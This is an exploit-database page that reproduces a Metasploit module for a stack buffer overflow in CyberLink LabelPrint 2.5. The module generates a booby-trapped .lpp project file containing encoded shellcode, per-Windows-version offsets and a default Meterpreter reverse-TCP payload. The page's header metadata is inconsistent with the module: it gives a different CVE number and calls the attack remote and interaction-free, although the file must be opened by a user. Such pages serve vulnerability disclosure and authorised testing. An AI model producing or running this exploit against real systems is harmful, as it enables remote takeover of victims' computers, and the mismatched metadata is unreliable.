Exploitalert - Database of Exploits

CyberLink LabelPrint 2.5 Stack Buffer Overflow

CVE	Category	Price	Severity
CVE-2007-2245	CWE-119	Not specified	High

Author	Risk	Exploitation Type	Date
Laurent Gaffiu00e9	High	Remote	2018-12-12

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2018120126

CyberLink LabelPrint 2.5 Stack Buffer Overflow

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "CyberLink LabelPrint 2.5 Stack Buffer Overflow", 'Description' => %q{ This module exploits a stack buffer overflow in CyberLink LabelPrint 2.5 and below. The vulnerability is triggered when opening a .lpp project file containing overly long string characters via open file menu. This results in overwriting a structured exception handler record and take over the application. This module has been tested on Windows 7 (64 bit), Windows 8.1 (64 bit), and Windows 10 (64 bit). }, 'License' => MSF_LICENSE, 'Author' => [ 'modpr0be <[email protected]>', # initial discovery and metasploit module 'f3ci <[email protected]>' # unicode kungfu ], 'References' => [ [ 'CVE', '2017-14627' ], [ 'EDB', '42777' ] ], 'DefaultOptions' => { 'FILENAME' => 'msf.lpp', 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => 'true', 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }, 'Platform' => 'win', 'Targets' => [ ['CyberLink LabelPrint <= 2.5 on Windows 7 (64 bit)', { 'Ret' => "\x2c\x44", 'Offset' => 790, 'Padding1' => 857, 'Padding2' => 104 } ], ['CyberLink LabelPrint <= 2.5 on Windows 8.1 x64', { 'Ret' => "\x2c\x44", 'Offset' => 790, 'Padding1' => 845, 'Padding2' => 116 } ], ['CyberLink LabelPrint <= 2.5 on Windows 10 x64 build 1803', { 'Ret' => "\x2c\x44", 'Offset' => 790, 'Padding1' => 781, 'Padding2' => 180 } ], ], 'Payload' => { 'Space' => 15000, 'DisableNops' => true }, 'DisclosureDate' => 'Sep 23 2017', 'DefaultTarget' => 0)) end def get_payload(hunter) enc = framework.encoders.create('x86/unicode_mixed') enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' }) hunter = enc.encode(hunter, nil, nil, platform) end def exploit nop = "\x42" junk = 'ABC'.split('').sample #junk must specifically static (A, B, and C only) buffer = "" buffer << junk * target['Offset'] buffer << "\x61\x42" # nseh buffer << target['Ret'] # seh #we need to encode the RET address, since RET (\xc3) is known as bad char. #preparing address to land the decoded RET buffer << nop #nop/inc edx buffer << "\x54" #push esp buffer << nop #nop/inc edx buffer << "\x58" #pop eax buffer << nop #nop/inc edx buffer << "\x05\x1B\x01" #add eax 01001B00 buffer << nop #nop/inc edx buffer << "\x2d\x01\x01" #sub eax 01001000 buffer << nop #nop/inc edx buffer << "\x50" #push eax buffer << nop #nop/inc edx buffer << "\x5c" #pop esp #preparing RET opcode (c300c300) buffer << nop #nop/inc edx buffer << "\x25\x7e\x7e" #and eax,7e007e00 buffer << nop #nop/inc edx buffer << "\x25\x01\x01" #and eax,01000100 buffer << nop #nop/inc edx buffer << "\x35\x7f\x7f" #xor eax,7f007f00 buffer << nop #nop/inc edx buffer << "\x05\x44\x44" #add eax,44004400 buffer << nop #nop/inc edx buffer << "\x57" #push edi as padding, needed to align stack buffer << nop #nop/inc edx buffer << "\x50" #push eax buffer << junk * target['Padding1'] #OS specific #custom venetian to reach shellcode buffer << "\x58" #pop eax buffer << nop #nop/inc edx buffer << "\x58" #pop eax buffer << nop #nop/inc edx buffer << "\x05\x09\x01" #depending OS buffer << nop #nop/inc edx buffer << "\x2d\x01\x01" #add eax, 01000100, this will align eax to our buffer buffer << nop #nop/inc edx buffer << "\x50" #push eax buffer << nop #nop/inc edx #crafting call esp at 0x7c32537b (MFC71U.dll) to make a jump using call esp buffer << "\x5C" #pop esp buffer << nop #nop/inc edx buffer << "\x58" #pop eax buffer << nop #nop/inc edx buffer << "\x05\x53\x7c" #add eax 7c005300 part of call esp buffer << nop #nop/inc edx buffer << "\x50" #push eax buffer << junk * target['Padding2'] #OS specific buffer << "\x7b\x32" #part of call esp #preparing for jump to shellcode, placing in eax. buffer << junk * 114 #junk buffer << "\x57" #push edi buffer << nop #nop/inc edx buffer << "\x58" #pop eax buffer << nop #nop/inc edx buffer << "\x05\x0A\x01" #depending OS buffer << nop #nop/inc edx buffer << "\x2d\x01\x01" #sub eax,01000100 buffer << nop #nop/inc edx buffer << get_payload(payload.encoded) buffer << junk * (payload.space-buffer.length) #fill the rest of buffer, must be added. lpp_data = <<-EOS <PROJECT version="1.0.00"> <INFORMATION title="" author="" date="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}" SystemTime="#{rand(1..12)}/#{rand(1..28)}/#{(1970..2020).to_a.sample}"> <TRACK name="#{buffer}" /> </INFORMATION> </PROJECT> EOS print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(lpp_data) end end

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